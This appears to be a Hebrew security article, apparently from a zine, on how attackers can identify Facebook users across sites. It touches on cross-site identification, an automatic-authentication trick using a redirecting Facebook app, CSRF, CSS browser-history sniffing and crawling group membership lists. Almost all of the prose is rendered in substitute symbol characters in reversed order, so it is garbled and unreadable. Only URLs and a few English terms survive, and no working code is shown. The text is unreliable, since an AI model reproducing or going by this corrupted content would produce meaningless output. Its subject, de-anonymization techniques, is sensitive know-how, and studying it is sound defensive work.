˲ˡ˲ˡ ˸ˣˬ˧˸˥ ˧ˣˢ˧ˤ ˧ˮ˲˟ ˫˧˪˧˰˧ ˭. ˸ˬ˧˯˥JavaScript ˭˲ˡ˲ˡˢ ˧ˣˢ˧ˤ ˸˪ˣ˩˧ ˸˪˟ˠˢ˪ ˪˧˰˧ ˧˰˴ˬ˞ ˞˧ˢ ˫ˠ ,

˫˧˦˲˧˶˵˯˟ ˫˧˷ˬ˸˷ˬ ˫˧˟˶ ˫˧˶˸˞ˣ ˶˥˞ˬ ˨˞ , ˢ˷˧˪ˠ ˸˰˟ ˧˸ˣˢˬ ˸ˣ˧˪˞ˮˣ˧˴˵ˮˣ˲ ˭ˡ˟ˣ˞˟ ˢ˩ˣ˶˩ ˞˧ˢ

˦ˮ˶˦ˮ˧˞˟. 

 

 

˸˧˸˶˟˥ ˸˷˶ ˸ˣ˰˴ˬ˞˟ ˶˸˞˟ ˶˵˟ˬ ˸ˣˢˤ ˸˲˧˷˥ 

 

 ˫ˣ˧˩˸ˣ˧˸˶˟˥ ˸ˣ˸˷˶˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ˫˧˟˶ ˫˧˷ˮ˞ , ˫˧˲˷ˣ˥ˣ˧˸˧ˬ˞ˢ ˫ˬ˷ ˸˞ ˭ˢ˟ ,˫˸ˮˣˬ˸ , ˸ˬ˧˷˶

˫˧˶˟˥ ,ˢ˞˪ˢ ˭˩ˣ ˭˧˧ˮ˰ ˧ˬˣ˥˸ .˞ˬˠˣˡ˪ ,˵ˣ˟˯˧˧˲ ˸˧˸˶˟˥ˢ ˸˷˶˟ , ˫˧ˮ˷ˢ ˫˰ ˢ˷˰ˮ ˰ˡ˧ˬ ˶˸ˣ˧ˣ ˶˸ˣ˧

˶˸ˣ˧ ˟˥˶ ˶ˣ˟˧˴˪ ˱ˣ˷˥, ˵ˣ˟˯˧˧˲ ˪˷ ˢˡˣˡ˧˰˟ ˢˬ˴˰ . ˶ˣ˵˧˟ ˶˷˵˪ ˪˩ˣ˧ ˣˢ˷˪˩ ˶˸˞ ˣ˞ ˫˯˶˲ˬ ˫˞

˸˧˸˶˟˥ ˸˷˶˟ ˷ˬ˸˷ˬ˪ ˶˸˞˟ ,ˣ˪˷ ˭˧˧ˮ˰ˢ ˧ˬˣ˥˸ˣ ˶˵˟ˬ ˣ˸ˣ˞ ˪˰ ˦˰ˬ ˞˪ ˡˬ˪˧ ˢ˞˶ˮˢ ˪˩˩ , ˫˞ ˫ˠ

˟ ˶˵˟ˬ ˣ˸ˣ˞ ˪˷ ˣ˧˷˰ˬ ˶˥˞ ˟˵˰ ˞˪˸˷˶. 

https://addons.mozilla.org/en-US/firefox/addon/2275/
http://noscript.net/
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.theregister.co.uk/2010/05/26/facebook_connections/
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 ˭ˬ˶˟˪˧ˤ ˭ˮˣ˶ ˫˷˟ ˧˪˞˶˷˧ ˶ˣ˥˟ ˦˯ˣˠˣ˞˟ ˢ˞˶ˢ2009  ˣˢ˷˪˩ ˶˸˞ ˡ˴˧˩)˵ˣ˟˯˧˧˲˪ ˶ˣ˷˵ ˣˮ˧˞˷ ( ˪ˣ˩˧

 ˪˟˵˪ ˧ˡ˩˟ ˵ˣ˟˯˧˧˲ ˸ˣ˧˴˵˧˪˲˞˪ ˰ˡ˧ˬ ˢ˶˧˟˰ˬ ˵ˣ˟˯˧˧˲ ˢ˟ ˨˶ˡ˟ ˢ˲˶ˣ˸ ˸ˡˣ˵ˮ ˪˴ˮ˪ ˪˷ ˫˧ˢˤˬ ˫˧˦˶˲

˷ˬ˸˷ˬˢ , ˣ˸ˬ˩˯ˢ ˸˞ ˪˟˵˪ ˨˶ˣ˴ ˞˪˪)ˢ˧˰˟ˢ ˸˞ ˢˮ˵˧˸ ˶˟˩ ˵ˣ˟˯˧˧˲ ˤ˞ˬ ˧˩ ˭˧˧˴˪ ˷˧ .( ˸ˮˬ ˪˰

ˡˣ˟˰˸ ˢ˲˵˸ˢˢ˷ ,˭˲ˡ˲ˡˢ ˪˷ ˸ˣ˧ˮˣ˷˪ˢ ˸˥˞˟ ˵ˣ˟˯˧˧˲˪ ˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˨˧˶˴ ˷ˬ˸˷ˬˢ ,˭˧˲ˣ˪˥˪ ˣ˞ ,

 ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˶˟˥˸ˢˢ ˧˦˶˲ ˸˞ ˸˶˩ˣˤˢ ˵ˣ˟˯˧˧˲ ˪˷ ˢ˧˧ˠˣ˰ ˭˯˥˞˪ ˨˧˶˴ ˭˲ˡ˲ˡˢ) ˸ˣ˶˟˥˸ˢ ˨˶ˣ˴˪

ˣ˧˪˞ ˢ˷˧˪ˠ ˸˰˟ ˶˸˞˪ ˸˧˦ˬˣ˦ˣ˞ , ˪˷ ˸ˣ˶˷˲˞"keep me logged in".(  ˫˷ˢ ˸˞ ˢ˲˵˸ˢ˪ ˵˧ˮ˰ˢ ˭ˮˣ˶

Cross-Site Identification )CSID( ,ˣˢ˞˶ˢ ˠ ˢ˪˷ ˸ˣ˶ˤˠˮ ˫˷˧˧˪ ˭˸˧ˮ ˧˩˸ˣ˶˥˞ ˸ˣ˧˸˶˟˥ ˸ˣ˸˷˶ ˪˰ ˫ ,

Bebo x-Orkut. 

˫˧˪˧ˠ˶ ˦ˮ˶˦ˮ˧˞ ˧˶˸˞ˬ ˢ˟˶ˢ˟ ˸ˣˮˣ˷ ˭ˮ˧˞ ˵ˣ˟˯˧˧˲ ˸ˣ˧˴˵˧˪˲˞ , ˢ˷˧ˠ˷ ˞ˣˢ ˧˸ˣˢˬ ˡ˥˞ ˪ˡ˟ˢ ˨˞

ˢ˧˴˵˧˪˲˞ˢ ˸˶˷˪ ˸ˣ˶˧˷˧ ˞˪ ˸˧˷˰ˮ ˵ˣ˟˯˧˧˲ ˸ˣ˧˴˵˧˪˲˞˪ ,˵ˣ˟˯˧˧˲ ˪˷ ˫˧˸˶˷ˢ ˨˶ˡ ˡ˧ˬ˸ ˞˪˞ .

ˡ˧ˬ ˢ˧˴˵˧˪˲˞ ˧˸˶˷˪ ˵˲˯˪ ˫˧˪ˣ˩˧ ˵ˣ˟˯˧˧˲ ˪˷ ˫˧˸˶˷ˢ ˷ˬ˸˷ˬˢ ˪˰ ˰) ˷ˬ˸˷ˬˢ˷ ˸ˣ˞˷˶ˢ˪ ˱ˣ˲˩˟

ˢ˧˴˵˧˪˲˞˪ ˭˸ˮ( ,˸ˣ˶˧˷ˢ ˸˞ ˪˟˵ˬ˷ ˷ˬ˸˷ˬ˪ ˢˮ˰ˬˢ ˸˞ ˫˧˞˸ˢ˪ ˣ˪˩ˣ˧˷ ˸ˮˬ ˪˰ . ˪˧˶˲˞ ˡ˰2010 ,

 ˧˦ˬˣ˦ˣ˞ ˸ˣˬ˧˞ ˪˷ ˭ˣˮˠˮˬ˟ ˢ˩ˬ˸ ˵ˣ˟˯˧˧˲)Automatic Authentication .( ˢ˸˧˧ˢ ˭ˣˮˠˮˬˢ ˪˷ ˣ˸ˣ˰ˬ˷ˬ

ˢ˧˴˵˧˪˲˞ ˪˷ ˱ˡ˟ ˶˵˟ˬ ˷ˬ˸˷ˬ ˫˞˷ ,˶˧˟˰˸ ˵ˣ˟˯˧˧˲  ˫˞ ˫ˠ ˢ˧˴˵˧˪˲˞˪ ˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞

ˢ˸ˣ˞ ˶˷˧˞ ˞˪ ˷ˬ˸˷ˬˢ .ˢˮˠˢ ˭ˣˮˠˮˬ˩ , ˞˪ ˷ˬ˸˷ˬˢˣ ˢˡ˧ˬ˟ ˵˶ ˫˧˦˶˲ˢ ˸˞ ˢ˶˧˟˰ˬ ˵ˣ˟˯˧˧˲

˵ˣ˟˯˧˧˲ ˪˷ ˶˸˞˟ ˱ˡˬ ˸˧˷˰ˮ ˢ˧˴˵˧˪˲˞˪ ˢ˷˧ˠˢ˷˩ ˵˶ ˭˩ˣ ˣ˪˷ ˸ˣ˧˦˶˲ˢ ˸ˣ˧ˮ˧ˡˬ ˸˞ ˥˧˷˵ˢ .

˫˧˷ˬ˸˷ˬˢ ˪˷ ˦˪˥ˣˬˢ ˟ˣ˶˪ ˢ˲˵˸ ˢˮ˧˞ ˢˮˣ˷˞˶ˢ ˢ˪˟ˠˬˢ .ˮ˷ˢ ˢ˪˟ˠˬˢ ˸˞ ˱ˣ˵˰˪ ˰˧˴ˢ ˭ˮˣ˶ ˢ˧˧

ˢ˦ˣ˷˲ ˢ˶ˣ˴˟ :ˢ˧˴˵˧˪˲˞ˢ ˪˷ ˱ˡ˪ ˢ˷˧ˠ , ˪˷ˬ˪http://apps.facebook.com/hacker-app/step1.php ,

 ˢ˧ˮ˲ˢ ˰˴˟˸)redirect (ˢ˧˴˵˧˪˲˞ˢ ˪˷ ˶˥˞ ˱ˡ˪ , ˶ˬ˞ˮhttp://apps.facebook.com/hacker-

app/step2.php ï  ˵ˣ˟˯˧˧˲˪ ˳ˣ˥ˬ ˣˮ˰ˠˢ ˭ˣ˷˞˶ˢ ˱ˡ˪ ˫˞ ˫ˠ) ˪˟˵ˮ ˞˪ ˭˩˪ˣ˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞( , ˧˶ˢ

˸˧˵ˣ˟˯˧˧˲ ˸˟ˣ˸˩ ˨ˣ˸ˬ ˢˮ˲ˣˬ ˶˟˩ ˷ˬ˸˷ˬˢ ˧ˮ˷ˢ ˱ˡ˪˷ , ˢ˪ˣ˰˲˪ ˯ˮ˩˧˧ ˧˦ˬˣ˦ˣ˞ˢ ˸ˣˬ˧˞ˢ ˭ˣˮˠˮˬ ˭˩˪ˣ

˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞ ˶˧˟˰˧ˣ. 

˭˪ˢ˪˷ ˫˧˷˶˸ˢ ,˭ˮˣ˶ ˪˷ ˠˣ˪˟ˢˬ ˥˵˪ˮ˷ , ˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞ ˠ˧˷ˢ˪ ˪ˣ˩˧ ˶˸˞ ˣ˟ ˞˪ˬ ˨˧˪ˢ˸ ˢ˞˶ˬ

ˡ˷˥ ˸˶˶ˣ˰ˬ ˞˪˷ ˢ˶ˣ˴˟ ,˶˴˧ ˵ˣ˟˯˧˧˲˷ ˸ˣ˧˴˵˧˪˲˞˟ ˸ˣ˶ˤ˰ˢ ˨ˣ˸ . ˦ˮ˶˦ˮ˧˞ˢ ˱ˡ˟ ˫˯˶˲˪ ˫ˣ˵ˬ˟

ˢ˧˴˵˧˪˲˞˪ ˶˧˷˧ ˶ˣ˷˧˵ ,ˢˮˣˬ˸ ˳˟ˣ˵˪ ˶ˣ˷˧˵ ˫˵ˬ˪ ˭˸˧ˮ . ˸˞ ˪ˣ˩˧˟˩ ˵˧ˤ˥ˬˢ ˸˶˷˪ ˭˲ˡ˲ˡ ˸˷˧ˠ ˸˰˟

ˢˮˣˬ˸ˢ ˳˟ˣ˵ ,ˣ˷˞˶ˢ ˱ˡ˪ ˢˮ˲ˣ˧ ˭˲ˡ˲ˡˢˢ˧˴˵˧˪˲˞ˢ ˪˷ ˭ ,ˢ˧˴˵˧˪˲˞ˢ ˪˷ ˧ˮ˷ˢ ˱ˡ˪ ˫˷ˬˣ , ˟˪˷˟˷˩

˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞ ˪˟˵˸ ˢ˧˴˵˧˪˲˞ˢ ˢˤ . ˢˮˣˬ˸ ˳˟ˣ˵˪ ˶ˣ˷˧˵ ˪˧˩ˢ˪ ˪ˣ˩˧ ˢ˧˴˵˧˪˲˞ˢ ˪˷ ˧ˮ˷ˢ ˱ˡˢ

˧˸˧ˬ˞ ,˷ˬ˸˷ˬ˪ ˱ˣ˵˷ ˭˲ˣ˞˟ ˰˴˟˸˧ ˨˧˪ˢ˸ˢ ˪˩˷ ˨˩ ,ˢˮˣˬ˸ ˣ˪ ˠ˴ˣ˸ˣ : 

http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html
http://blog.quaji.com/2009/12/out-of-context-information-disclosure.html
http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html
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 ˭˸˧ˮ ˫ˠ ˸ˣ˞˶˪˟ˣ˧˦ˣ˧˟ ˢ˲˵˸ˢˢ ˸˞ ˫˧ˠˡˬˢ ˭ˣ˦˶˯. 

 ˸˞˷˶ˢ ˫˰ ˫˸ˣ˞ ˶˧ˡˠˢ˷ ˢˡ˧ˬ˟ ˵˶ ˷ˬ˸˷ˬˢ ˧˦˶˲ ˸˞ ˪˟˵˪ ˶˷˲˞˸ ˢ˲˵˸ˢˢ˷ ˭˧˧˴˪ ˟ˣ˷˥public 

)˫˧˷ˬ˸˷ˬˢ ˟ˣ˶ ˧˟ˠ˪ ˭ˣ˩ˮ ˢ˧ˢ˧˷ ˢ˥˧˦˟ˢ ˵ˣ˟˯˧˧˲˷ ˶˟ˡ .( ˸˶˷˲˞ˬ ˢ˲˵˸ˢˢ˷ ˨˩˟ ˞˧ˢ ˸ˣ˧˸˧˧˰˟ˢ

˷ˬ˸˷ˬ ˫˰ ˣ˪˪ˢ ˫˧˧˟ˬˣ˲ˢ ˫˧ˮˣ˸ˮˢ ˸˞ ˶ˣ˷˵˪ ˣˢ˷˪˩ ˶˸˞˟ ˰ˠ˶˩ ˶˵˟ˬ˷ ˧˲˧˴˲˯ , ˸˰ˠˣ˲ ˨˩˟ˣ

ˢ˷˧˪ˠˢ ˸˰˟ ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˧ˬ˧ˮˣˮ˞˟. 

http://www.youtube.com/watch?v=eLdpwQIIeS4
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ˢ˧˶ˣ˦˯˧ˢ ˸˟˧ˮˠˣ ˸˧˸˶˟˥ ˸˷˶ ˸ˣ˰˴ˬ˞˟ ˶˸˞˟ ˶˵˟ˬ ˸ˣˢˤ ˸˲˧˷˥ 

 

 ˸˲˵˸ˢCSID ˢˮ˵˧˸ ˶˟˩ ˵ˣ˟˯˧˧˲˷ ˢ˲˶ˣ˸ ˸ˡˣ˵ˮ ˪˰ ˢˮ˰˷ˮ ˵ˣ˟˯˧˧˲ ˪˰ , ˶˸ˣ˧ ˪˷ ˢ˰˵˷ˢ ˫˰ ˨˞

˳ˬ˞ˬ ,˸˶˟˥ˢ ˸˷˶ˢ ˪˧˲ˣ˶˲ ˸˞ ˱ˣ˷˥˪ ˪ˣ˩˧ ˶˸˞ ˸ˣ˧˲ˣ˸˧˷ˢ ˸ˣˮˣ˩˸ˢ ˪ˣ˴˧ˮ ˨ˣ˸ ˷ˬ˸˷ˬˢ ˪˷ ˸˧

˸˶˥˞ ˣ˞ ˣˤ ˢ˲˶ˣ˸ ˸ˡˣ˵ˮ ˪˷ ˢˬˣ˧˵˟ ˸ˣ˪˸ ˞˪˪ˣ ˸˷˶ˢ ˪˷ ˸ˣ˧˯˧˯˟ˢ . ˸ˣˮˣ˶˵˰ ˪˰ ˸˩ˬ˸˯ˬ ˢ˲˵˸ˢˢ

˟ ˧˸˶˞˧˸˷ ˣ˪˞˪ ˫˧ˬˣˡ˸ˬˡˣ˵ ˢ˟˸˩ ˞ˬ ˪˷ ˶˷˵ˢ˟˯˵˧˪˲˦ˮ ˪˷ ˰ˡ˧ˬˢ ˶ˠ . ˢˬ˯˶˲ ˯˵˧˪˲˦ˮ ˸˶˟˥

˫˧˷˪ˣˠ ˪˷ ˫˧˦˶˯ ˧ˠˣ˶˧ˡ ˪˧˩ˬˢ ˧ˬ˧ˮˣˮ˞ ˶ˠ˞ˬ .˪˰ˣ˲˟ , ˪˷ ˸˧˯˥˧ ˭˦˵ ˶˲˯ˬ ˠ˶ˡˬ ˷ˬ˸˷ˬ ˪˩˷ ˭ˣˣ˧˩

˫˧˦˶˯ ,˫˧ˮˣ˷ ˫˧˦˶˯ ˫˧ˠ˶ˡˬ ˫˧ˮˣ˷ ˫˧˷ˬ˸˷ˬˣ , ˫˧˷ˬ˷ˬˣ ˫˧˧ˡˣ˥˧ ˫ˢ ˷ˬ˸˷ˬ ˪˩ ˭˸ˣˮ˷ ˫˧ˠˣ˶˧ˡˢ

˷ˬ˸˷ˬˢ ˸˞ ˸ˣˢˤ˪ ˸˶˷˲˞ˬ˷ ˰˟˴˞ ˸˰˧˟˦ ˭˧˰ˬ .˸˸ˣ˧˸˶˟˥ ˸ˣ˸˷˶˟ ˸˷˥˶˸ˬ ˢˬˣˡ ˢ˰˲ˣ ,

 ˸ˣ˴ˣ˟˵˪ ˱˶˦˴ˢ˪ ˫˧˷ˬ˸˷ˬ˪ ˸ˣ˶˷˲˞ˬˢ)˪˷ˬ˪ ,Facebook groups .(˪˰- ˧˲ ˪˷ ˸ˣ˵˧˦˯˧˦˦˯ˢ ˱ˡ

˵ˣ˟˯˧˧˲ , ˫ˮ˷˧ ˣˤ ˢ˟˸˩ ˸˟˧˸˩ ˭ˬˤ˪ ˭ˣ˩ˮ900 ˪ ˫˧˪ˣ˩˧ ˫˧˷ˬ˸˷ˬ˷ ˫˧˦˵˧˧˟ˣ˞ ˭ˣ˧˪ˬ ˫ˢ˧˪˞ ˶˷˵)˫˧˲ˡ ,

˸ˣ˴ˣ˟˵ ,ˢ˪˧ˢ˵ ˧˲ˡˣ ˸ˣ˰˶ˣ˞ˬ( ,˪ ˶˷ˣ˵ˬ ˷ˬ˸˷ˬ ˰˴ˣˬˬ˟ˣ-80 ˫ˢˬ . ˷ˬ˸˷ˬˬ ˫˧ˮˣ˷ ˢ˪˞ ˫˧˶ˣ˷˧˵

˷ˬ˸˷ˬ˪ ,˷ˬ˸˷ˬˢ ˸˞ ˸ˣˢˤ˪ ˧ˡ˩ ˷ˬ˷˪ ˫˧˪ˣ˩˧ ˭˩˪ˣ . ˸˞ ˱ˣ˷˥˪ ˶˵˥ˬ ˸˴ˣ˟˵˪ ˶˷˲˧˞ ˢˤ ˭ˣ˶˵˰

˪˰ ˸ˣ˧˸˶˟˥ ˸ˣ˸˷˶ ˧˷ˬ˸˷ˬ ˪˷ ˫˸ˣˢˤ-ˣ˷˪ˠ ˫ˢ˟ ˸ˣ˴ˣ˟˵ ˧˲ˡ ˧ˣˢ˧ˤ ˧ˡ˧. ˬ˸ˢ ˶˵˥ˬˢ ˶˵˧˰˟ ˡ˵

 ˸˧˸˶˟˥ˢ ˸˷˶˟Xing ,˩ ˢˮˣˬˢ-8 ˫˧˶˟˥ ˭ˣ˧˪ˬ , ˪˰ˣ ˵ˣ˟˯˧˧˲ ˪˰ ˸ˣ˲˵˸ˢ ˫ˠ ˭˥˟ ˞ˣˢ ˨˞Linked-In .

 ˪˪˩ ˸˞ ˱˧˵˧˷ ˭˲ˣ˞˟ ˢ˲˵˸ˢˢ ˰ˣ˴˧˟ ˪˰ ˢ˷˵ˬ ˵ˣ˟˯˧˧˲˟ ˪ˣˡˠˢ ˫˧˷ˬ˸˷ˬˢ ˶˲˯ˬ˷ ˸ˣ˶ˬ˪

˸˷˶˟ ˫˧˷ˬ˸˷ˬˢ ,ˣˬ˩ ˫˴ˬˣ˴ˬ ˡ˰˧ ˪ˢ˵˟ ˸ˣˡ˵ˬ˸ˢ ,˶ˬ˞ˮ ,˪˞˶˷˧ ˸ˮ˧ˡˬ ,˶˸ˣ˧˟ ˸˧˷˰ˬ ˞˧ˢ .˴˪ ˨˶ˣ

˵ˣ˟˯˧˧˲˟ ˭˞˩ ˡ˵ˬ˸˞ ˢ˲˵˸ˢˢ ˶ˣ˞˧˸. 

˫˧˟˴ˣ˰ˬ ˫˧ˮ˲ˡ˲ˡˢˣ ˦ˮ˶˦ˮ˧˞ˢ ˢ˟ ˨˶ˡˢ ˪˷˟ , ˧˶˸˞ ˧˟ˠ˪ ˭˲ˡ˲ˡˢ ˸˞ ˪ˣ˞˷˪ ˸ˣ˶˷˲˞ ˷˧ ˫˧˶˸˞˪

˫ˢ˟ ˫˸˶˵˧˟˷ ˫˧˶˥˞ ˦ˮ˶˦ˮ˧˞ .ˢ˪˞˩ ˫˧˶˸˞ ˪˷ ˢˬ˧˷˶ ˭˲ˡ˲ˡˢˬ ˪˟˵˪ ˭˸˧ˮ ˞˪ ˫ˮˬ˞ , ˭˸˧ˮ ˨˞

˭˩ ˪˷ ˸ˣ˪˞˷ ˣ˧ˮ˲˟ ˠ˧˴ˢ˪/˪˰ ˫˧˧˲˧˴˲˯ ˫˧˶˸˞ ˧˟ˠ˪ ˞˪- ˧ˡ˧˫˧ˮ˲ˡ˲ˡ ˪˷ ˸˧˯˧˯˟ ˢˮˣ˩˸ ˪ˣ˴˧ˮ : ˫˧ˮ˲ˡ˲ˡ

 ˸ˬˣ˰˪ ˶˟˰˟ ˶˵˧˟ ˫ˢ˟ ˫˧˵ˮ˧˪ ˢˮˣ˷ ˰˟˴˟ ˰ˣ˟˴˪ ˧ˡ˩ ˷ˬ˸˷ˬˢ ˪˷ ˢ˷˧˪ˠˢ ˸˧˧˶ˣ˦˯˧ˢ ˪˰ ˫˧˩ˬ˸˯ˬ

˫˧˷ˡ˥ ˫˧˵ˮ˧˪ .˪˰ ˢ˷˧˪ˠˢ ˸˧˧˶ˣ˦˯˧ˢ ˸˲˧˷˥˪ ˸˞ˤ ˪˴ˮ˪ ˫˧˪ˣ˩˧ ˫˧˶˸˞- ˱ˡ˟ ˫˧˧ˣˬ˯ ˫˧˵ˮ˧˪ ˫ˣ˵˧ˬ ˧ˡ˧

 ˡˣ˵˟ ˦ˮ˶˦ˮ˧˞JavaScript ˡ˲ˡˢ˷ ˰˟˴ˢ ˸ˮ˧˥˟ˣ˫˶ˣ˟˰ ˰˟ˣ˵ ˭˲ .˪˷ˬ˪ , ˢ˰˲ˣ˸ˢ ˪˷ ˢˬˠˡˢ ˸ˣ˞˶˪ ˭˸˧ˮ

 ˫˧˶˸˞˟http://ha.ckers.org/weird/CSS-history-hack.html ) ˡˣ˵ˢ˭˞˩ (-x http://startpanic.com 

)˞˪ ,ˢ˵˧ˮ˞˲˪ ˯ˮ˩˧ˢ˪ ˫˰˦ ˭˧˞ .(˟˶ ˭ˬˤ ˢˤˬ ˢ˰ˣˡ˧ ˣˤ ˢ˲˶ˣ˸ ˸ˡˣ˵ˮ˷ ˸ˣ˶ˬ˪ , ˶˟ˣ˦˵ˣ˞ ˤ˞ˬ ˸ˣ˥˲˪

2000 ,˪˰ ˢ˩ ˡ˰ ˢˮ˵ˣ˸ ˞˪ ˞˧ˢ-˧˫˧ˮ˲ˡ˲ˡˢ ˧ˮ˶˴˧ ˧ˡ , ˸ˣ˧˷ˣˬ˧˷˟ ˢ˰˧ˠ˲ ˶ˣ˶ˠ˧ ˢ˧˰˟ˢ ˭ˣ˶˸˲ˣ ˶˥˞ˬ

˭˲ˡ˲ˡˢ .˸˞ˤ ˫˰ , ˱˯ˣ˸ ˭ˣ˥˟˪ ˫˧˪ˣ˩˧ ˫˧ˮ˧˧ˮˣ˰ˬˢFirefox  ˫˷˟SafeHistory  ˫˧˧ˣ˯ˬ ˭ˣ˶˸˲ ˵˲˯ˬˢ

ˢ˧˰˟˪. 

http://www.digitalwhisper.co.il/files/Zines/0x07/DW7-5-AnonymousDB.pdf
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://ha.ckers.org/weird/CSS-history-hack.html
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
http://startpanic.com/
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
http://www.safehistory.com/
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ˢˬ˧ˡ˵ ˡ˥˞ ˡ˰˴ ˣˤˢ ˢ˰ˣˡ˧ˢ ˢ˵˧ˮ˩˦ˢ ˸˞ ˸˥˵˪ ˭˸˧ˮ˷ ˶˶˟˸ˬ ,˷ˢ˪ˣ ˭˧ˬˤˢ ˰ˡ˧ˬ ˫˰ ˟ˣ˪˧˷˟ ˢ˟ ˷ˬ˸

˸ˣ˧˸˶˟˥ ˸ˣ˸˷˶˟ ,ˣˢ˷˪˩ ˶˸˞˟ ˶˵˟ˬˢ ˷ˬ˸˷ˬ ˪˷ ˸˧˸˧ˬ˞ˢ ˣ˸ˣˢˤ ˸˞ ˱ˣ˷˥˪ ˧ˡ˩ . ˢ˲˵˸ˢˢ

˨˷ˬˢ˟ ˶˞˸˞˷ ˢˬˬ ˸˟˩˶ˣˬ ˶˸ˣ˧ ˸˴˵ ˢ˞˪ˬˢ ,˫˧ˬˣˡ ˫˧˧˯˧˯˟ˢ ˸ˣˮˣ˶˵˰ˢ ˨˞ :˫˧ˡ˵ˬ ˟˪˷˟ ,

˸ˣ˴ˣ˟˵ ˢˤ˧˞˪ ˫˧˩˧˧˷ ˫˧˷ˬ˸˷ˬ ˢˤ˧˞ ˧˟ˠ˪ ˰ˡ˧ˬ ˫˧˲˯ˣ˞ .ˢ ˶˸˞˪ ˶˵˟ˬ ˰˧ˠˬ ˶˷˞˩ ˡˣˬ˪˪ ˭˧˧ˮˣ˰ˬ

ˣ˧˪˰ , ˶˟˰˟ ˢ˧ˢ ˷ˬ˸˷ˬˢ ˸ˣ˴ˣ˟˵ ˧˲ˡ ˢˤ˧˞˟ ˸ˣ˪ˠ˪ ˧ˡ˩ ˢ˧˶ˣ˦˯˧ˢ ˸˟˧ˮˠ ˰˴˟ˬ ˶˸˞ˢ) ˞ˣˢ˷ ˶˧˟˯ ˭˩˪ˣ

ˢ˪˞ ˸ˣ˴ˣ˟˵˟ ˶˟˥ .( ˸ˬ˧˷˶ ˸˞ ˫˴ˬ˴˪ ˧ˡ˩ ˣ˪˞ ˸ˣ˴ˣ˟˵ ˪˷ ˫˧˷ˬ˸˷ˬˢ ˸ˣˬ˧˷˶ ˭˧˟ ˟˧˪˴ˢ˪ ˭˸˧ˮ ˤ˞

"s˫˧ˡˣ˷˥" ,˷ˬ˸˷ˬˢ ˪˷ ˧ˡˣ˥˧˧ ˧ˣˢ˧ˤ ˡ˰ ˭˩˸˧. 

˫˧ˡ˵ˬˢ ˟˪˷ˢ ˶ˣ˟˰ ,˞˪ ˷˧ˢ˴ˣ˟˵ ˪˩˟ ˫˧˶˟˥ˢ ˸ˬ˧˷˶ ˸˞ ˱ˣ˯ , ˸ˣ˧ˢ ˰ˣ˴˧˟˪ ˨˩ ˪˩ ˢ˷˵ ˣˮ˧˞˷ ˶˟ˡ

ˢ˴ˣ˟˵ˢ ˱ˡˬ ˫˧˷˧ˠˮ ˫˧ˮˣ˸ˮˢˣ . ˧˸ˣ˶˷ ˸ˣ˰˴ˬ˞˟ ˣˠ˧˷ˢ ˫˧˶˵ˣ˥ˢ ˵ˣ˟˯˧˧˲˟ ˸ˣ˴ˣ˟˵ˢ ˪˪˩ ˸ˬ˧˷˶ ˸˞

 ˢ˵˧˶˯)crawling ( ˫˧˧˶˥˯ˬï  ˪˰ ˰ˡ˧ˬˢ ˱ˣ˯˧˞39  ˫ˢ˪ ˢ˪˰ ˵ˣ˟˯˧˧˲ ˪˷ ˨˧˶ˡˬˢˬ ˸ˣ˴ˣ˟˵ ˭ˣ˧˪ˬ

18.47 ,$˸ ˪˟˵˸ˢ ˰ˡ˧ˬˢˣ˫˧ˬ˧ ˢ˷˧ˬ˥ ˨ˣ .ˣˤ ˢ˵˧˶˯˟ ˱˯˞ˮ˷ ˢ˴ˣ˟˵ ˪˷ ˢˢˤˬ ˪˩ ˭˸ˮ˧ˢ˟ , ˪˟˵˪ ˭˸˧ˮ

ˢ˴ˣ˟˵˟ ˫˧˶˟˥ˢ ˸ˬ˧˷˶ ˸˞ ˸ˣ˪˵˟ .ˢˬˠˣˡ˪ , ˭ˣ˦˧˧˲ ˧˦ˮˣˬ ˪˷ ˢ˴ˣ˟˵˟ ˫˧˶˟˥ˢ ˸ˬ˧˷˶) ˢ˶˲˯ˬ˷

 ˵ˣ˟˯˧˧˲˟4981419559 ( ˶ˣ˷˧˵˟ ˸˞˴ˬˮˢˤˢ . ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˫˧˶˟˥ˢ ˶˲˯ˬ ˸˞ ˢ˪˧˟ˠˬ ˵ˣ˟˯˧˧˲ ˫ˮˬ˞

˪ ˢˤ˩ ˭˲ˣ˞˟-6000 ,˪ ˪˰ˬ ˫˰ ˸ˣ˴ˣ˟˵˟ ˫˪ˣ˞-6000 ˪˰ ˢ˪˟ˠˬˢ ˸˞ ˱ˣ˵˰˪ ˭˸˧ˮ ˫˧˶˟˥- ˪˰ ˶˟˰ˬ ˧ˡ˧

˫˷ ˣ˸ˣ˞ ˧˪˰˟ ˢ˴ˣ˟˵˟ ˫˧˶˟˥ˢ ˪˩ ˷ˣ˲˧˥ˣ ˫˧˴ˣ˲ˮ ˸ˣˬ˷ .ˠˢ ˪˩ ˸˞˧˴ˬ˪ ˪˷ˬ˪'˭x-˫˧ , ˫˧˷ˬ˸˷ˬ

˞˟ˢ ˶ˣ˷˧˵˟1 .ˬ˧˷˶ ˪˷ ˢ˞˪ˬ ˢ˵˧˶˯ˢ˦˰ˬ ˞˪ ˢˡˣ˟˰ ˸˷˶ˣˡ ˵ˣ˟˯˧˧˲ ˪˷ ˸ˣ˴ˣ˟˵ˢ ˪˩˟ ˫˧˶˟˥ˢ ˸ˣ ,

